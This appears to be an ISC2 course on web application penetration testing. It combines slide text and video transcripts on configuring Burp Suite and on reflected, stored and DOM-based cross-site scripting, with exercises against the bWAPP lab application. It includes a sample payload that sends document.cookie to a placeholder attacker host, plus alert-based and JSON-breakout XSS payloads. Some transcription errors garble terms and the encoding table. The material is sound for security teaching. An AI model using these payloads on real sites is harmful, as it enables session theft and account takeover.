Web Application Penetration Testing
Web Application Penetration Testing
PENETRATION TESTING
ISC2
Course Objectives:
Malicious hackers are always looking for the path of least resistance, or at minimum, be able to
get the biggest reward for their efforts. Today every business has a front door to their
organization somewhere out on the Internet. This front door allows malicious users to target
businesses, government agencies and individuals using a wide variety of methods. Also, website
security has not kept up and many websites are still vulnerable to the same type of attacks that
they were a decade ago. Anyone who has followed the OWASP Top 10
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), knows that security
professionals are still trying to protect against the same injection attacks and poor coding
practices that has plagued web application since the beginning of the internet.
Therefore, websites and web applications have proven to be the go-to target of malicious
attackers because it is much easier to target web applications than it is to attack the underlying
infrastructure or operating systems supporting the web application. There are many reasons why
malicious attackers target web applications, and many more reasons why security practitioners
should focus on protecting their web presence.
Large Impact
Malicious attackers can reach a wide audience through your website. They can leverage your web
application to pivot inside your network, deface your site and communicate directly with your
customers, or worse use your site to distribute malicious software to your customers. Depending on
your customer base, hacking your website could potentially reach hundreds of thousands if not millions
of individuals.
Within Reach
Your organization’s web application is usually public facing and the front end of your online presence.
There are no special tools or connection needed to access your website and can usually be connected to
from anywhere in the world through any web browser. If special care has not been taken to address
common web application vulnerabilities such as injection (SQLi) or Cross-Site Scripting (XSS), exploiting it
will be a inconsequential task and a walk in the park for even the most basic of hackers. Once a web
application is breached it serves as a strategic position to launch major attacks, gain insider access,
escalate privileges, and serve as a pivot point to resources such as databases, files servers, and keys
In the most basic sense, Web application penetration testing is the process of using penetration
testing techniques against web applications to identify its vulnerabilities and exposures. We
perform web application security testing by using manual and automated tests to identify flaws.
These tests involve using known malicious penetration attacks against the application by
simulating attacks such as injection-based and variable manipulation tests. These attacks are
carried out from the perspective of an outside user with only minimal knowledge of the
application in order to gain a real-world view of the application.
Security Testing
As mentioned before, in order to build and maintain secure applications it is necessary to
incorporate security in your software development lifecycle (SDL). The security of your
application should be considered paramount and tested throughout the application’s lifecycle,
particularly if the application deals with or collects personal information or data that is of high
importance. Web application security testing involves verifying that the information traveling
through the system is protected and that the data maintains its integrity and intended
functionality. Web application security testing requires the active analysis of the application for
any vulnerabilities, flaws, or weaknesses. The primary purpose is to identify the vulnerabilities,
and plan mitigation activities.
Security testing is a critical challenge for your software team. The benefit of attacking your own
applications is that your test engineers should have an understanding of the specifications and
logic implemented in the application. This will allow for the testing and examination of all
scenarios that may make an application behave incorrectly when under attack. Your tester should
have excellent knowledge and be able to play the role of a hacker in order to predict the types of
steps a hacker may take, and the type attacks your application may face in order to better protect
it.
Commonly used tool for web application penetration testing, Burp Suite is a man-in-the-middle
application allowing penetration testers and IT professionals to scan and check for exploitable
vulnerabilities. By using this tool to perform a scan, Burp Suite generates a visual representation
of potential vulnerabilities. There are two types of Burp Suite for the individual, free (a.k.a.
community) or Professional edition. Most of the demonstrations in this course will utilize
features available in the free version. Exceptions to this rule will be highlighted and explained
clearly. All of the following exercises utilize the free edition of Burp. In this module, review the
various “dials” and configuration options within Burp Suite to optimize your findings for a given
assessment. This includes step-by-step explanations and setting configuration overviews for
Target, Proxy, Spider, and Scanner tools within Burp Suite.
Module Objectives:
Burp Suite is one of the most popular tools for web application penetration testing, which is used to
demonstrate several exercises within this course. When visiting the site, you will notice different
versions of Burp Suite available. This course will utilize only the Free or Community edition up to version
1.7.36 (both the Free and Community editions are identical).
If you are following along, once you are ready to begin, run Burp starting at the command line/in
Windows from executable. Select Burp Projects, then select either Temporary (the only option available
in the community edition) or New, which is a professional edition feature that allows testers to save
content of each tool within a project file.
How can you configure your Burp Suite to work best against your target? There are several
configuration settings worth exploring. These include:
Target
The application being tested in this course, specifically, the bWAPP application by OWASP.
Proxy
The tool within Burp which captures the HTTP traffic in Burp sitting between the browser and
the application.
Spider
The tool within Burp which crawls through the application structure, including links, forms, and
scripts.
Scanner*
This tool within Burp is only available in the Professional functionality. This course will
highlight its features, specifically demonstrating how it allows a tester to dynamically scan the
application for vulnerabilities.
Note: According to Portswigger, using Burp Suite may result in unexpected effects in some
applications. Until you are fully familiar with its functionality and settings, you should only use
Burp Suite against non-production systems.
Target Options
The target tab includes several settings to help you better focus on the application you are
testing. These include Sitemap to identify the target application, Scope which allows you to
select what is included and excluded, and the ability to clean up our site map using the filter
ribbon in order to clearly identify what is needed to test.
Let's talk about how you can configure your Burp Suite to work best against your target.
We're going to talk about various tools in the Burp Suite product. We're going to talk about
target, proxy, spider, repeater and intruder and the scanner. The scanner is the only one of these
tools listed that is only available in the professional version. Now, in all of the demos that you'll
see, I will be using Burp Suite Community Edition version 1.7.36. You're free to use either the
executable or the plain old JAR file. Realize that if you do download the JAR file, you will have
to install Java first. Let's go ahead and get started.
The first tool we're going to speak about that's located inside of the Burp Suite product is
the target tab. Now, the target tab has a site map tab that allows us to identify our target
application. We're going to take a look at how we can identify our scope, both what is included
and excluded, as well as how to clean up our site map using the Filter Ribbon in order for us to
know exactly what we need to test. Let's go ahead and get started with the demo.
At this point, you should have started your VM and have it running. There should be an
IP address assigned to you. In my case, the IP address is 192.168.33.222, but your IP might be
different. From the splash page, we're going to go to our bWAPP application. Now, at this point,
what we want to do is we want to have all of our HTTP traffic flowing through Burp, so let's go
ahead and start up Burp and get that set up. I've started up Burp and you will be prompted to
upgrade.
I would strongly recommend that you go ahead and just keep the Community Edition
1736, like I have, or whatever the latest version might be. Now in the Community Edition, you
only have a temporary project to select so just click next and start Burp. Go ahead and use the
default settings. We're going to change those together. Now, this is a little bit small as far as font
size. What we can do is we can go to user options, display, and we can change this to a much
larger size. I'm going to go ahead and change the user interface to 18. I'm going to change the
HTTP message display to 18. I'm actually going to shut down Burp and restart it. I recommend
that you not update. Now, we can see that our font is a little bit bigger. Go ahead and use the
default settings, and this is a little bit easier for us.
Now, if you'll notice, I don't have any traffic here because I have not configured my web
browser to know about Burp. How we can do that is go over to the menu options inside of
Firefox. In the general tab, scroll down to the bottom where you have the network proxy settings.
Click settings and you will probably have no proxy or auto-detect. What you want to do is select
manual proxy configurations and type in 127.0.0.1 port 80 80. These are the default IP address
and port numbers that are used by Burp Suite. Click okay, let's go ahead and refresh the page and
now you should have Burp blinking at you.
This proxy should probably be highlighted. You'll want to turn intercept off, and you
just do that by toggling this button here. When you return to the target tab, you should now have
traffic flowing through. Now, at this point, we want to expand this branch. We actually want
traffic specific to bWAPP. If you look here, this is our domain, /bWAPP, and we can right click
and add this to our scope. Now, it's going to prompt you to say, "Do you want to continue
accumulating things out of scope?" If you want to avoid these things, just click yes and so we
will click yes, we want to only have the things that are in our scope.
Now, at this point, let's go ahead and log into the bWAPP application. The username
is [bee 00:05:23], the password is bug. Make sure your security setting is low, click login. If we
return to Burp, you can now see that there's a gear that says, "Login.PHP," and it contains the
parameters that we just passed in. In our message editor, we can see that we typed in bee, we
typed in the password of bug and the response is that we did get a login, a 302 which redirects to
a 200 after that. At this point, we've set up our scope.
Now if we wanted to set up something out of scope, what we could do is return to our
application. Let's say we wanted to set up this log out to be out of scope because, while we're
using Burp, we want to have an active session. If we click log out, return to Burp, go to the target
site map, you'll see here this PHP log out. What we want to do is remove that from scope. If we
return to the scope tab, we can now see that log out is placed in our exclude from scope area.
The last thing we want to do is we want to clean up all these additional links that Burp
found but did not send a request to. How we can do that is through this Filter Ribbon right here.
If you click this area, it brings up a menu. We want to show only in scope items, so select this
option and then click anywhere outside of the ribbon. Now, you will have a clean site map. This
helps us to better focus on the application that we are testing.
Proxy Options
Now that we have the Sitemap and Scope identified, it is time to adjust Proxy options including
Listeners, Request Interceptor, Response Interceptor, and Unhide Hidden Fields. This demo
reviews how to set up a Proxy using these features.
Now that we have our target site map and scope identified, let's move on to the proxy
tool. So we're going to learn about the proxy listeners that are available to us. We will also
understand better the request interceptor along with the response interceptor, and we will look to
see if the application has any hidden fields and there's very handy feature inside of proxy that
allows us to do this. Let's go ahead and see a demo of how to set up our proxy. So I'm now
looking at Burp and if you scroll over to the next tab is the proxy tab. Now in the proxy tab you
will find the interceptor, which currently we have it toggled off. Then you will find the HTTP
history. Now this is in historical table of everything that you do while traffic is flowing between
your browser and the web server. So all of that is chronologically stored inside of this table.
There's a WebSockets history which we will not be covering today. Then there's this options tab.
Now in the options tab, you will find a table of proxy listeners that are
available. By default, the proxy listener that comes out of the box in Burp is listening on your
local host, 127.0.0.1 port 80. Now, you could certainly change this port number. If you wanted to
change it to all nines or something like that. We won't actually be changing it for our session, but
that option is there. You're also free to add other listeners and specify their ports. Now when it
comes to intercepting client requests, you will notice that the default action is to not capture
anything that is an image or a cascading style sheet. This may not be the type of behavior that
you want. You might want to capture everything. So in this case, we can just uncheck and that
enables us when we're using the proxy interceptor to intercept everything.
If you remember when you first got traffic flowing through Burp that this interceptor
button was turned on. If we return to our application and we reload the page, we can get that
behavior again. So you can see that I'm intercepting. My intercept is on and I'm holding the
request before that request is sent to the web server. So Burp is sitting between your browser on
your local machine and the eventual web server, which this request is going to. If I click forward,
now I'm intercepting the JavaScript calls as well. If I click forward again, now you can see I'm
intercepting the style sheets. Now this may or may not be the behavior that you want.
Let's go ahead and turn intercept off and change our setting so that we no longer see
images and style sheets and JavaScript through our proxy interceptor. So we've checked this
back. Let's go ahead and turn the interceptor back on. Go back to our application, reload the
page, return to Burp, and now we're back to the login.PHP. Let's click forward and now you can
see that there's nothing in between. So the PHP script went right to the web server after flowing
through proxy and we clicked forward. Let's go ahead and turn intercept off, return to our
options. Now we want to intercept server responses. How we do that is by checking this box. In a
lot of cases, you'll want to see everything that the server is sending back to the browser. So you
want to uncheck this box even if the content type doesn't match text.
So let's see what this actually does. If we return to proxy intercept tab and turn our
intercept on and return to our application and reload the page, once again we can see the requests
coming into Burp, click forward and now we can see the response. So this is a 200 response.
This is actually the login page that will be rendered in our browser. If we wanted to see the
rendering before seeing it in our browser, we could click this render tab and we will see the page
rendered here. Now bear in mind that this version of Burp Suite does not execute any JavaScript.
So if you have pages with heavy JavaScript, the look may not be exactly what you would expect.
We can go ahead and forward that and turn the intercept off.
If you return to the HTTP history, you can see all of the traffic that we have stopped and
started and forwarded inside of our proxy tab. There's one more option that we want to turn on.
So let's return to proxy options. If you scroll down to response modification, you can unhide
hidden form fields. You could even predominantly display them. Now what this does is if the
webpage is holding any kind of hidden fields, you will be able to see them in the browser. So
let's go ahead back to our application and log in and see if we can find any of these hidden fields.
So if we select Insecure DOR, that's direct object reference order tickets, and we click hack and
we come to this page, you can now see the hidden field ticket price is predominantly displayed
on our browser. This is due to the option that we just turned on in the proxy options tab. We're
now ready to start spidering our target application.
Spider Options
Another top tab within Burp Suite that can be adjusted is the Spider tab. Spider options include
Crawler Settings, Form Submission Values which allows for custom values, Application Login
that sets a value that burp can use whenever it sees a login page, and Spider Engine to adjust the
number of threads. As long as spider is running in the background of a scan, it will continue to
spider newly discovered content as well.
Let's take a look at our spider options. In this demo, we're going to look at our crawler
settings, our form submission values, which we can change those default values to custom
values. We'll set an application login, that Burp can use whenever it sees a login page. And we
will also look at the spider engine's number of threads which can be adjusted.
Let's go ahead and go into our demo and take a look at spider. So now as we continue
across the top tabs of the Burp Suite product, let's go to the spider tab. Now spider, which is
currently not running, let's go to the options tab and let's make a few changes. Now the crawler
settings, for the most part, are fine.
Form submission, this table provides some default values for commonly found fields.
Now you can change any of these values to be whatever you like. So let's say that instead of
Peter, I wanted to put my name, and that might be an easier string to search on. Also, if you have
credentials, you can set these up here. So whenever Burp sees a login, it will automatically use
them. We know that the credentials for this application are B and bug, so we can place those
there. Spider engine allows us to control the number of threads that are being used for spidering.
Now because we control this VM, 10 threads are fine, but that might be too much for other
targets. You need to decide for yourself.
So now that we have our settings, let's go ahead and return to the target tab, and let's
right-click and spider this branch. Now once we do that, you will see spider turn orange. You
will start seeing requests and responses come in. Under the control tab, you will see spider is
running as depressed. If you ever need to pause that, you can just click it to pause. One of the
interesting things about Burp Suite is as you discover new content, as long as spider is running in
the background, it will continue to spider any new content that you happen to discover.
Two critical tools within Burp Suite are Repeater and Intruder. Repeater allows you to make
minor changes to a request and compare the results. Intruder allows for the setup of custom
payloads. Please play the video to view the demo and better understand the similarities of these
two tools.
Two very important tools inside of the Burp Suite product include Repeater and Intruder.
It's important that you understand the difference between these two tools. Specifically inside of
Intruder, you can set up custom payloads. Let's take a look at the difference between these two
tools inside of our demo.
So now what we want to do is take a look at the difference between Repeater and
Intruder. So if we go back to our Proxy tab, let's go to the History tab and let's look for our login
page. Look for a postlogin.php where we specified our login of B and bug. Now if we right click
in this message editor, we can send this request to Repeater. Now what I like to do is set a
baseline first. I know the particular response that I want to get with these parameters. So I can
click go and that gives me a baseline. I should expect to receive a 302. So the advantage of
Repeater is it allows you to make minor changes to the request and then compare that with your
baseline response.
So if we were to change the password to x x x and click go, we now receive an immediate
200 which is our login page. So by just changing one value, we're able to immediately notice that
there's a difference in the response. Now if you wanted to just focus on parameters, you could
come to this perimeter tab inside of Repeater and modify them here. I made the change in the
RAR request, but I could have easily done it here. If you just double click this area, you could
change it back to bug and then click go and we're back to the 302 response.
You can continue this same logic with manipulating any of the header values as well.
Now the difference between Repeater and Intruder is about volume. With Repeater, we can focus
on one or two values and make minor tweaks. However, with Intruder we can perform actual
brute forcing. So let's take this request and send it to Intruder. The attack target should be fine.
This should be the host that you are targeting. If we go to the positions tab, you will see there are
substitution markers that Burp is suggesting to you. These substitution markers mean that
payloads can be inserted into any of these parameters. For right now, we're going to clear all of
the default substitution markers that are suggested, and we only want to focus on password. So
let's highlight the word bug, click our add substitution markers and now we have them around
bug.
Now there are different attack types. We're going to just use sniper. Basically sniper and
battering ram work with only one payload. Pitchfork and cluster bomb can work with multiple
payloads. Let's go to the positions tab and here we could add our payloads. So let's just place
some additional payloads here. Three payloads are fine. I'm going to uncheck URL in code it just
so that we can clearly see what is being placed in the password field by Intruder. Let's go ahead
and click start attack. It's going to warn us that the community edition is throttled, which is fine.
Now immediately, you should notice that the status for our baseline is a 302, but the status for all
of the others are the 200, which of course we know is the login page. Now if we take a look at
this request, we can see that our payload was inserted where that substitution marker was
located. So here our password contains three S's. Here it's three R's, and here it's three A's. So the
idea behind Intruder is you're able to send many payloads as parameter values against your
target.
Scanner Options
The Scanner is only available in Professional, Enterprise Editions, but allows for vulnerability
discovery and displays findings under the Issues tab. Spider options include Attack Insertion
Points, the Scanning Engine, and Scanning Optimization. This video demonstrates how Scanner
works by using attack insertion points to find issues within a code. These would still require
validation within a penetration tester before being reported on.
Let's take a look at the last tool in Burp Suite that we will have a demo on, the Scanner.
Now the Scanner is only available in the professional and enterprise editions of the product. I'm
going to show you how Scanner works by using attack insertion points to find issues inside of
the code. Now these issues still require validation by a web app penetration tester before they can
be reported on. Let's go head into our demo of how Scanner looks. Now one of the tools that is
only available in the professional version of the Burp Suite product is the Scanner.
The Scanner tab allows us to perform vulnerability discovery. Now you can see that as
Scanner runs through the application, it finds different issues. Scanner will identify these issues
under the issues tab. Now as a web application pen tester, it's your job to go through each of
these issues and validate that they are truly an actual vulnerability. There are confidence levels
that Burp will provide based on the icons and colors. If you'll notice, an exclamation point with a
solid color is certain, without the solid color is firm and with the question mark is tentative.
The color coding is red is severe or high, orange is medium and yellow is low and
anything black or gray is informational. If you go to the Scanner tab, there are several options
here in order to provide additional insertion points for discovery of possible vulnerabilities. I've
included the Scanner functionality in this content in order to give a more complete view of the
functionality offered in the Burp Suite product.
Cross-site scripting attacks allow attacker-controlled client-side code to execute in the end user’s
browser. Testing is required to determine if the proper encoding is put in place by the developer
of the application to mitigate the execution of maliciously injected scripts. This portion of the
course explains the three types of cross-site scripting with a demonstration and student exercises
of each. The activities include Reflected attacks against JSON, AJAX, and XML.
Module Objectives:
Cross-site Scripting (XSS) is the injection and successful execution of attacker-controlled scripts
within a vulnerable web page. XSS attacks violate the trust a user has with the site because the
web server is tricked into serving malicious scripts through unvalidated and unencoded user
input. Consequences of XSS include modification or, even, complete control of the web page.
XSS vulnerabilities may exist in different contexts of a web page such as HTML, CSS,
JavaScript, web storage, etc. This course will dig into some of those contexts as those attacks
related to Reflected XSS.
Speaker 1: So, now we've come to our module on cross-site scripting. First, let's understand
that in every single web browser there is some built in protection against malicious script
execution that is from different origins. Now, this protection is referred to as same origin policy.
The same origin policy provides this protection based upon the combination of the website's
protocol, domain and port number. Let's take a look at an example. So, in this URL,
https://www.isc2.org, SOP has protection over the combination over the protocol https, the
domain of www.isc2.org, and the port number of 443.
Now, even though the port number is not explicit here, we know that it is implied because of the
https. So, normally scripts originating from the same origin are allowed to run inside of a web
page. What cross-site scripting does is it actually tricks the web application into thinking that an
interested malicious script is part of its own web page. And because of this, the SOP or the same
origin policy model is not violated.
Now, the impact of this cross-site scripting is vulnerabilities in this area can allow an attacker to
take control of an end user's browser, or even to control an entire web page. Cross-site scripting
vulnerabilities may exist in different contexts of a web page. For example, you can have HTML
injection, cascading style sheet injections, JavaScript injections, web storage URL, et cetera.
Now, we're going to talk about all of the different possible sources for cross-site scripting in just
a moment. So, let's take an example of a cross-site scripting attack. Let's assume that our origin
is https://isc2.org. Now, according to SOP, the script below, which has its origin of
https://apis.google.com cannot access the ISC2 page or its cookies if it's included in any of the
web pages that are included at the ISC2 website.
And of course, this is because just as we explained, Google.com is a completely different domain
from isc2.org. They're different origins. But cross-site scripting attacks trick a web server into
serving a malicious pay load and thinking that that pay load is part of the legitimate page. This
stems from a lack of input validation in the application code.
Now, as a result of this attack, the web server cannot distinguish between the malicious content
and the good content. Once that web server returns the malicious script as part of the legitimate
page, then that malicious script can do anything that it wants in the context of the victim's
browser, or in the context of the web page. So, it can see sensitive information stored inside of
cookies, et cetera.
Let's talk about this un-trusted data that is coming into the web server. Un-trusted meaning that
the integrity of that data has not been verified, so in other words in the original page perhaps the
data was good, but there's been no verification once the data is received on the server's side, and
that data could be tampered with. Also, the original intention of the data has not been validated
once received on the server's side. Un-validated data could mean the intention is cross-site
scripting or sequel injection.
Now let's talk about the sources of un-trusted data. As I mentioned, cross-site scripting
vulnerabilities can have a multitude of different contexts. This is just a sampling of some of the
possible areas in a web page where un-trusted data can come in. Any type of user input from a
form or text box, the URL itself can be manipulated. Parameters that are received into the web
application, cookies can be modified, headers can be tampered with. Of course the external
scripts, which we mentioned. And even tainted data inside of the database that has been placed
there from previous cross-site scripting attacks.
So, let's talk about the three types of cross-site scripting. There's reflected, there's also stored but
you will also see it called permanent or persistent, and then there's [inaudible] based. Let's get
into each one of these types.
Let’s consider the following example of a cross-site scripting attack. Assume our origin is
https://isc2.org. According to SOP, the script below cannot access the isc2.org page or cookies
because the URL, https://apis.google.com, differs from the origin of https://isc2.org.
<script src="https://apis.google.com/js/api.js"></script>
Due to the restrictions of SOP, sites find workarounds when pages include cross-site scripts
within. Such workarounds may include calling the cross-site within an iFrame or an image tag.
SOP focuses its protection solely on scripts and views other HTML tags as passive, which
provides numerous attack vectors within different web page contexts.
Attackers leverage these other web page contexts such as CSS, HTML attribute, JavaScript,
DOM to construct XSS attacks. These attacks are possible because the developer of the web
application did not write proper input validation and output encoding.
The lack of validation and encoding allows user input containing attacker-controlled scripts to be
submitted. Upon receiving the data, the web server is then tricked into serving the malicious
attack back to the user as part of the legitimate page in the HTTP response. Since the web server
is now “hosting” the malicious script by serving it in the HTTP response, this means the
malicious script conforms to the SOP requirements, thus there is no SOP violation. In essences,
the web server cannot distinguish the malicious content from good input. Once the malicious
script returns in the HTTP response, the script executes inside the victim browser, taking control
over the page and accessing any cookies or sensitive data stored inside the browser.
Attacks user’s browser for that one request; the attack reflects back inside the victim’s browser.
Example: An input text box for comments which is not sanitized; an attacker places malicious
script inside text box, web server is unable to distinguish malicious script from the legitimate
page and serves all content to the victim.
https://isc2.org?comments=<script>new
Image().src=http://evilHackerSite.com/grabcookie?c= +
document.cookie</script>
The malicious script executes once the content is received inside the victim’s browser. In cases
of authenticated sessions, an attacker can perform forged requests, also known as Cross-site
request forgery or CSRF, to do malicious actions like changing victim’s passwords; this assumes
the absence of anti-CSRF mitigation.
You're going to see the distinction between the one request and the victimization of
everybody who browses to a certain page, when we compare this to stored. Let's take a look at an
example. Let's say that there's a link to a legitimate website but, appended at the end, is the
malicious script. In this case, the legitimate website is ISC2.org. Following that is some kind of
parameter. In this case it's comments=, but it could be anything. Now, appended to the legitimate
website is a malicious script.
You can see the start of the script in bold. There's the loading of a new image, but the
source is actually evilHackersite.com and the purpose here is to grab an authenticated cookie,
hoping that the user is logged in and sending that cookie to the attacker's evil website. Upon
clicking this link, and being logged into the website, perhaps in another tab, the cookie of the
authenticated user would be sent to the attacker. Once this script is received inside the victim's
browser, and all of those conditions that I mentioned are met, then the malicious script is
executed and would send, in this case, the cookie to the attacker. Let's go ahead and take a look
at a demo of reflected cross-site scripting.
After logging into the bWAPP web application, go ahead and select the cross-site
scripting section, cross-site scripting reflected, get. Click hack. When you come to the page,
you'll be presented with a first name and a last name text box. We could put anything here for the
first name. We could put anything for the last name, but let's say that after the last name, we
decide to put a malicious script. We can start with our script tag. Let's say that we want to grab
the cookie that is in the DOM, or the document. We can do that by first using an alert pop-up
box. Then, inside that alert, we want to display the cookie. Let's type document.cookie, with a
closing parentheses. Then, of course, we have to close our opening script tag. Let's do that at the
end and, when we click go, we can see this cookie.
The cookie is significant because, in many web applications, a new cookie is assigned to
the user after they log in. So, in essence, this represents a username and password. That's why it's
highly desirable to attackers. Now, if our malicious script were constructed the way that we saw
in the slide, this cookie would've been sent to the attacker's website, instead of it popping on the
screen like this. The displaying of this alert box is to indicate to the developer that any type of
JavaScript can be injected into the page, perform its malicious content, and then sent back to an
attacker. So the pop-up alert box is really considered just a proof of concept in order to make the
point, to the developer, that malicious code can be injected into the page.
Speaker 1: Let's continue with our learning of the three different types of cross-site
scripting and talk about our second type, Stored. Now, Stored once again is going to violate the
same origin policy protection that's provided in everyone's browser. The difference here is that
the injected malicious script becomes a permanent component of the webpage that is served to
the user. Now, this is made possible because the injected script usually becomes some database
entry, and the database query that's used to build the page then reflects the embedded script as
the page is served to the end user inside of their browser.
What this means is with stored cross-site scripting, every single person that browses to
that page is going to become a victim of the cross-site scripting attack. Of course, the script can
only be executed in the victim's browser. This distinction is made because the containment of the
malicious script inside of the database is not going to be executed there. It has to actually be
rendered into the end user's browser as part of the webpage content. Let's go ahead and see a
demo of Stored cross-site scripting.
We're going to use blog posts in order to see how an injected malicious script becomes a
permanent part of the webpage. In your bWAPP application, make sure that you select cross-site
scripting stored blog. Now, when you come to this page, you'll notice that it allows users that are
logged in to post comments or blog entries. We can see here that there's a link for free iPhone. If
we hover over it, we can see the cross-site scripting attack. In this case, the cross-site scripting
attack is grabbing all of the cookies for this logged in user.
Let's go ahead and create the attack ourselves. If we take the payload code that was
shown in the slide, we can now examine the contents of that payload. This is a simple on mouse
over JavaScript function. In the function, we're doing an alert and we're grabbing the cookie out
of the dom or document. Then we're just placing some tantalizing text that would make the
reader want to click or hover over the link. We can change this text just to distinguish it from the
other, and we can put free android phone.
Now, when the blog post is submitted, if we scroll down to the bottom, we can see our
entry. If we place our mouse over the text, we can see the attack. What this means is that every
person that logs in and is able to read these blog posts would then be affected by the stored cross-
site scripting attack. The malicious script has become a permanent part of rendering the web
page.
Document Object Model (DOM) is a browser’s hierarchical representation of any web page
visited. Accessible programmatically using the document object.
• document.URL
• document.URLUnencoded
• document.location (and many of its properties)
• document.referrer
• window.location (and many of its properties)
An attack manipulates the DOM environment inside the victim’s browser. The attack occurs in
the client-side code contained in the browser, not in the response like in Reflected and Stored.
Alert in Browser
Demo: DOM-based
Speaker 1: Let's continue with our learning of the three types of cross-site scripting DOM-
based. Now, the first thing that you should realize is every webpage that you browse to is
represented hierarchically inside of your browser as something called a document object model
or DOM. Now, this DOM is accessed programmatically using a particular document object.
Now, what that means is through this document object, you can access various components of
the webpage using the following syntax. For example, document.url will access the URL, or the
URL as an encoded. Document.location, this is commonly used inside of JavaScript of a
webpage to know the location of the website.
Now, because of this, it could make their defacement attacks have a much longer
lifespan. Let's go ahead and take a look at a demo of DOM-based cross-site scripting. In this
demo, we will be using the cross site scripting Reflected (PHP_SELF) webpage, and we will be
using the following payload. We're going to use our commonly known script alert script, but in
the middle, we will be referencing the currently used document.domain value. Here we are at our
cross-site scripting Reflected (PHP_SELF) page. Now, if you'll notice on this page, we have two
parameters, first name and last name.
Let's go ahead and put some content in here. It doesn't really matter what values we
place here. Let's click the go button. Now, it does display something back to the page, and the
content of this is shown as parameter values inside of the dialog box. If you'll notice, first name
equal to AA and last name equal to VV. I want to try to insert my DOM-based cross-site
scripting attack in the middle of one of these parameters. I'm going to use this script alert script.
I've got my opening script tag. I've got my alert, and between the alert parentheses, I have
document.domain, and then I have the closing script tag.
What I'm trying to do is I want to try to manipulate the DOM into reflecting back to
me the current value of document.domain. If we place our cursor at the end and we hit the enter
key, we can see that we were successful in having this value reflect back to us in our browser.
Now, you could continue this attack by using some of the other values that were shown in the
previous slide and see if you can get those to reflect back to the browser as well.
Cross-Site Scripting Mitigations
To mitigate the threat of Cross-site Scripting (XSS), developers are required to include
contextual sanitization of all input fields as well as output encoding. Input sanitization can
incorporate into an application stack through a library or framework which supports input
validation, such as, for example, the OWASP HTML Sanitizer. These frameworks provide XSS
protection contextually, such as within CSS, the HTML element, the HTML attribute,
JavaScript, the URL, and so on.
Diving deeper into HTML encoding, students learn how particular special characters such as the
ones shown below on the left can be used to construct malicious script within user input fields.
However, when a developer uses encoding, the special characters are neutralized and converted
to the values shown on the right side of the arrows.
For example, if an attacker injects the following malicious script into a textbox, which is an
HTML entity: <script>alert(document.cookie)</script>
The malicious script would not execute within the user’s browser if the developer used proper
output encoding. Instead, the malicious script would be converted to the following:
<script>alert(document.cookie)</script>
Encoding
Encoding Mechanism
Type
HTML Entity Convert & to &, Convert < to <, Convert > to >, Convert " to ",
Encoding Convert ' to ', Convert / to /
HTML Except for alphanumeric characters, escape all characters with the HTML Entity
Attribute &#xHH; format, including spaces. (HH = Hex Value)
Encoding
Encoding Mechanism
Type
Encoding
URL Standard percent encoding. URL encoding should only be used to encode
Encoding parameter values, not the entire URL or path fragments of a URL.
Javascript Except for alphanumeric characters, scape all characters with the \uXXXX
Encoding unicode excaping format (X = Integer).
CSS escaping support \xx and \xxxxxx. Using a two character escape can cause
problems if the next character continues the escape sequence. There are two
CSS Hex
solutions (a) Add a space after the CSS escape (will be ignored by the CSS
Encoding
parser) (b) use the full amount of CSS escaping possible by zero padding the
value.
This exercise demonstrates how to carefully construct a malicious JavaScript payload into
request and have the script execute in the victim’s browser from a JSON response. If following
along, please use the directions to complete the exercise. Play the video to view the answer
demonstrated.
Directions:
Speaker 1: Now you're ready to take on your first exercise in the cross site scripting
module. In exercise one, we are going to perform reflected cross site scripting using Jason
injection. You're going to log into the bWAPP application as normal, using the bee/bug
username and password. If you use the default security setting, it should be set to low. You're
going to select the Cross-site Scripting JSON option under A3 and click Hack. Now what you're
doing here is you're going to attempt to inject your own JavaScript into a JSON response. Now
in order to perform this exploit, you will need to follow the following steps. First, you're going to
end the legitimate JSON context and you can do that by looking at the response and seeing how
the legitimate context ends. You're going to end the context of its script and then you're going to
append your own script, and in this case, I just have an alert box.
If you recall, in the overview of Cross-site Scripting, there were various contexts
that you could inject malicious script into and JSON is just one of those many different contexts.
Go ahead and pause the video and try to do this exercise on your own. If you get it, great. If you
don't, no problem. We have the answer for you. So here we are in our criticized scripting
reflected JSON exercise.
So the first thing we can do is there's a search box for the name of movies. So let's
go ahead and type in the name of the movie Hulk. We receive back a response reflecting the
information that we typed into the text box. Now if we take a look at this in Burp, let's see how
this response is constructed. So inside of Burp, if I go to my proxy history tab, I can see the get
statement for the exercise. Here, I see where I typed in Hulk. If I go to the response tab and I
searched for Hulk, I can see that this portion of the JSON is embedded between two script tags.
Now because of this, it makes this context susceptible to Cross-site Scripting among
other reasons. There's also an eval which we know evil is inherently evil, because it will evaluate
and render our payload back into the browser. And also there's a problem here with the use of
innerHTML, which is also a known attack vector inside of the DOM. But how we're going to
exploit this is going to be very easy. We're going to take this first line here and we're going to
take this ending portion, copy that. So I'm going to use a notepad to help me construct my
payload. So I'm ending the legitimate portion of the JSON context. Now I also need to add an
ending script tag so that I can then add my own script tag.
So I'll just append that here and then go ahead and add my own malicious script and
then end that script tag. So if I copy all of this and I return to my application, now when I search
for a movie, I can append that entire payload. So let's take a look again at what we're doing. Hulk
is the name of the title, and that's followed by the end of the first JSON context. Then I'm ending
the script tag, and then I'm building my own malicious script and inserting that inside of the
JSON context. So when I click search now, I receive the alert pop-up. This proof of concept
proves that I'm able to insert any arbitrary code into the JSON context, and it will execute in the
victim's browser.
Directions:
Speaker 1: Let's continue with our exercises. In the next exercise, you are going to exploit
an AJAX request that has a vulnerable JSON response. Now of course we're going to start this
exercise in the usual way. You're going to log into bWAPP with the bee/bug username and
password. Make sure that your security setting is at low. Select from the menu the cross-site
scripting exercise that is labeled AJAX/JSON under A3, and click Hack.
Now this webpage uses something called Asynchronous JavaScript and XML, also
known as AJAX. Now you will see this in the behavior of the page as it's making asynchronous
server calls continuously. What this does is it gives you immediate feedback as you type some
text into the box and we'll see this in the answer demo coming up very shortly.
Now what really makes this page vulnerable is in the server response, which is
provided in JSON. There's the use of the JavaScript eval function. We had mentioned eval,
before and that eval is evil. Eval will take any input and evaluate it in the page itself and render
the response. The use of this function makes the page vulnerable to cross-site scripting.
So what you need to do in this exercise is attempt to exploit the AJAX call with that
